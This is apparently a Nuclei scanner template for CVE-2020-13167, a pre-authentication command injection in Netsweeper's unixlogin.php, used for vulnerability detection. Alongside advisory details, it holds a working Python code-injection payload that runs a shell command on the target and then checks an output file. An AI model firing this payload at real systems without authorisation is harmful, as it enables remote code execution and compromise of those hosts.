id: CVE-2020-13167 info: name: Netsweeper <=6.4.3 - Python Code Injection author: dwisiswant0 severity: critical description: | Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters. remediation: | Upgrade to a patched version of Netsweeper (>=6.4.4) to mitigate this vulnerability. reference: - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/ - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says - https://nvd.nist.gov/vuln/detail/CVE-2020-13167 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-13167 cwe-id: CWE-78 epss-score: 0.97384 epss-percentile: 0.99866 cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: netsweeper product: netsweeper tags: cve,cve2020,netsweeper,rce,python,webadmin variables: rand_str: "{{randstr}}" cmd: 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out' http: - method: GET path: - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5" - "{{BaseURL}}/webadmin/out" headers: Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php" matchers-condition: and matchers: - type: word part: body_2 words: - "{{rand_str}}" - type: status status: - 200